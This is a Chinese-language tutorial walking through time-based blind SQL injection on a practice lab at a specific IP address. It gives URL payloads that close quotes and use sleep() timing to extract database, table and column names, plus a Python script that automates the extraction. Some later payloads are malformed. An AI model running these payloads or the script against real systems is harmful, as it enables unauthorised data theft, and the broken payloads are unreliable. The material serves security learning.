目錄
前言:
什麼是時間盲注,時間盲注就是頁面不會有回顯,沒有回顯怎麼辦?
這時候我們可以通過sleep(),讓他沉睡
爲什麼通過sleep() 可以判斷是否存在時間盲注,因爲只要執行了,就說明網址存在交互,存在交互就存在漏洞
sql注入本質或者條件:
用戶可以控制輸入
拼接了用戶輸入的數據,並且去成功的執行了
正文:
第一步 判斷是否存在注入
進入靶場,這時候我們看到了這查詢語句被雙引號包圍了~~~
這時候不要慌,我們可以閉合掉這個雙引號,然後再使用sleep(5) 來判斷
http://59.63.200.79:8815/Pass-13/index.php?id=1" and sleep(5)--+
這時候我們看到了這個靶場一直在轉圈圈,就說明這存在基於時間型的注入
第二步 判斷數據庫長度
使用 if() 函數
if(exp1,exp2,exp3)
如果exp1語句正確,那麼就會執行exp2,如果不正確,就會執行exp3
所以我們第一個exp可以寫:length(database())=12
exp2: sleep(5)
exp3 : 1
這時候再代入if這裏面
if(length(database())=12,sleep(5),1)
然後我們看上面那個靶場,查詢語句。說明我們還需要閉合註釋
於是就成功了,如下圖
第三步:查詢數據庫庫名
這裏就運用到了substr和ascii
id=1" and if(ascii(substr(database(),1,1))>=50,sleep(5),1)--+
然後就成功的延遲了,獲取到了第一個字符
我們可以用二分法,或者是把 >= 改爲 =
然後使用burp爆破也可以
基於時間型盲注比較繁瑣,所以能工具,就工具!!!!!
第四步:查表名
把database() 替換成 查表的語句,可以先看一下長度是多少
別看着感覺好長,其實可以先寫查詢語句,然後再寫substr函數,然後再寫ascii,再寫if
這樣就不會被括號啥的弄暈了~~~~~
id=1" and if(ascii(substr((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1) >=1,1,1)),sleep(5),1)--+
判斷後再把length去掉,就是查詢表的語句
id=1" and if(ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1) >=1,1,1)),sleep(5),1)--+
我換行了一下,這樣看的比較清楚
第五步:查字段
id=1" and if(ascii(substr((select column_name from information_schema.columns
where table_schema=database() and table_name='XXXX'imit 0,1) >=1,1,1)),sleep(5),1)--+
查詢字段裏面的查詢語句,跟前面的union注入一樣的語句。只不過多加了幾個函數
仔細看看就懂了
查詢數據就不說了,跟前面的一樣
python 寫 盲註腳本:
時間型盲注的腳本和布爾型的盲注都一樣。根據了i春秋上面的一個大佬的腳本
然後我修改了那麼一點點。header頭其實可要可不要。怕實戰中會檢測這些。所以那位前輩加了個header
也只是調用了requests和time模塊
然後嵌套循環。沒啥技術難度。就是估計頭會暈
放在這,各位大佬初學python的。可以改一改,或者加個命令行參數的
import requests
import time
headers = {"user-agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)"}
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'
database = ''
global length
def get_db():
for l in range(1, 20):
lengthUrl = 'http://59.63.200.79:8815/Pass-13/index.php?id=1" and if(length(database())>{0},1,sleep(3))--+'
lengthUrlFormat = lengthUrl.format(l)
start_time0 = time.time()
rsp0 = requests.get(lengthUrlFormat, headers=headers)
if time.time() - start_time0 > 2.5:
print('[-]database length:' + str(l))
global length
length = l
break
else:
pass
for i in range(1, length + 1):
for char in chars:
charAscii = ord(char)
url = 'http://59.63.200.79:8815/Pass-13/index.php?id=1" and if(ascii(substr(database(),{0},1))>{1},1,sleep(3))--+'
urlformat = url.format(i, charAscii)
start_time = time.time()
rsp = requests.get(urlformat, headers=headers)
if time.time() - start_time > 2.5:
global database
database += char
print('[+]database runing: '+ database + "...")
break
else:
pass
print('database:' + database)
if __name__=='__main__':
start = time.time()
get_db()
end = time.time()
t = int(end - start)
print("The url test time: %ss"%t)
效果圖
文末:
似乎沒有什麼想說的了
這樣寫目錄比較好看,咳咳
其實推薦個學習方法。理解漏洞的原理,然後通過腳本方式去代替。因爲腳本是代替人力的
所以寫腳本的時候,對漏洞理解,或者查詢語句的印象會更深